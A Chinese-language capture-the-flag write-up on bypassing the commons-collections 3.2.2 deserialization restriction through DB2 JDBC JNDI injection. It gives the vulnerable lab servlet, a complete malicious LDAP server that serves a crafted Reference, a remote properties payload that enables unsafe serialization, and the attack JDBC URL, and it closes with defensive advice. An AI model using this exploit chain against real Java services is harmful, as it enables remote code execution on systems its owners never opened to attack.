Java_JDBC(commonscollection3.2.2)Bypass
字数 1630 2025-08-18 11:36:53
Java JDBC (commons-collections 3.2.2) Bypass 技术分析
0x01 题目分析
题目背景
- 题目来自第四届赣网杯的web5
- 提供一个数据库连接测试页面
- 考点是DB2的JNDI注入
关键依赖
commons-collections-3.2.2.jar- 存在反序列化限制commons-configuration- 提供可利用的类tomcat-jdbc- 提供可利用的工厂类
限制条件
-
CC3链限制:
commons-collections-3.2.2版本对CC3反序列化的类做了限制- 关键类如
InstantiateTransformer、InvokeTransformer无法被反序列化 - 限制检查在
FunctorUtils.checkUnsafeSerialization方法中实现
-
JDK版本限制:
- 高版本JDK对RMI和LDAP做了限制
- RMI限制始于6u132, 7u122, 8u113
- LDAP限制始于11.0.1, 8u191, 7u201, 6u211
-
Tomcat限制:
- Tomcat 8.5.96修复了
org.apache.naming.factory.BeanFactory的利用方式
- Tomcat 8.5.96修复了
0x02 利用思路
关键发现
-
可利用类:
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance- 可以加载类并进行无参实例化
- 可以调用setter方法
org.apache.commons.configuration.SystemConfigurationsetSystemProperties方法可以远程加载配置文件设置系统属性
-
绕过思路:
- 利用
SystemConfiguration修改系统属性org.apache.commons.collections.enableUnsafeSerialization为true - 这样就能绕过
commons-collections-3.2.2的反序列化限制 - 然后正常使用CC3链进行攻击
- 利用
攻击流程
- 通过LDAP服务返回一个恶意的
Reference对象 - 利用
GenericNamingResourcesFactory加载SystemConfiguration SystemConfiguration从远程加载配置文件设置系统属性- 设置
org.apache.commons.collections.enableUnsafeSerialization=true - 之后就可以正常使用CC3链进行反序列化攻击
0x03 环境搭建
Maven依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.8</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.3</version>
</dependency>
<dependency>
<groupId>com.ibm.db2.jcc</groupId>
<artifactId>db2jcc</artifactId>
<version>db2jcc4</version>
</dependency>
JSP页面 (index.jsp)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test Connect Form</title>
</head>
<body>
<h2>Test Connect Form</h2>
<form action="TestDBConnection" method="post">
<label for="connectionString">URL:</label><br>
<input type="text" id="connectionString" name="connectionString" required><br>
<label for="username">Username:</label><br>
<input type="text" id="username" name="username" required><br>
<label for="password">Password:</label><br>
<input type="password" id="password" name="password" required><br>
<input type="submit" value="submit">
</form>
</body>
</html>
数据库连接Servlet (TestDBConnection.java)
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/TestDBConnection")
public class TestDBConnection extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
String connectionString = request.getParameter("connectionString");
String username = request.getParameter("username");
String password = request.getParameter("password");
try {
// 加载DB2 JDBC驱动
Class.forName("com.ibm.db2.jcc.DB2Driver");
// 尝试建立数据库连接
Connection connection = DriverManager.getConnection(connectionString, username, password);
// 如果成功连接,则输出成功消息
out.println("<html><body><h2>连接成功!</h2></body></html>");
// 关闭连接
connection.close();
} catch (ClassNotFoundException | SQLException e) {
// 如果连接失败,则输出错误消息
out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>");
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
0x04 攻击实现
LDAP服务器代码
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.io.*;
public class LDAPServer {
static String userDN = "dc=ldap;dc=com";
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
InMemoryDirectoryServerConfig imConfig = new InMemoryDirectoryServerConfig(userDN);
imConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
1379,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault())
);
imConfig.addInMemoryOperationInterceptor(new LdapInterpetor());
InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig);
ldapServer.startListening();
}
static class LdapInterpetor extends InMemoryOperationInterceptor {
private static Reference systemConfiguration(){
Reference ref = new Reference(
"org.apache.commons.configuration.SystemConfiguration",
"org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",
null
);
ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt"));
return ref;
}
private static byte[] serializeObject(Serializable obj) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult request) {
Entry entry = new Entry(request.getRequest().getBaseDN());
try {
System.out.println("start");
String className = "java.lang.String";
entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration()));
entry.addAttribute("javaClassName",className);
entry.addAttribute("objectClass","javaNamingReference");
request.sendSearchEntry(entry);
request.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("stop");
}catch (Exception e){
e.printStackTrace();
}
}
}
}
配置文件内容 (system.txt)
org.apache.commons.collections.enableUnsafeSerialization=true
启动文件服务器
python -m http.server 6666
攻击Payload
使用DB2的JNDI注入payload格式:
jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc
0x05 技术总结
-
关键点:
- 利用
GenericNamingResourcesFactory加载SystemConfiguration SystemConfiguration可以远程设置系统属性- 设置
org.apache.commons.collections.enableUnsafeSerialization=true绕过CC3限制
- 利用
-
利用条件:
- 目标使用
commons-collections-3.2.2 - 目标包含
commons-configuration依赖 - 目标使用Tomcat JDBC连接池
- 目标使用
-
防御建议:
- 升级
commons-collections到安全版本 - 限制JDBC连接字符串的输入
- 禁用不必要的JNDI查找功能
- 使用高版本JDK并配置安全策略
- 升级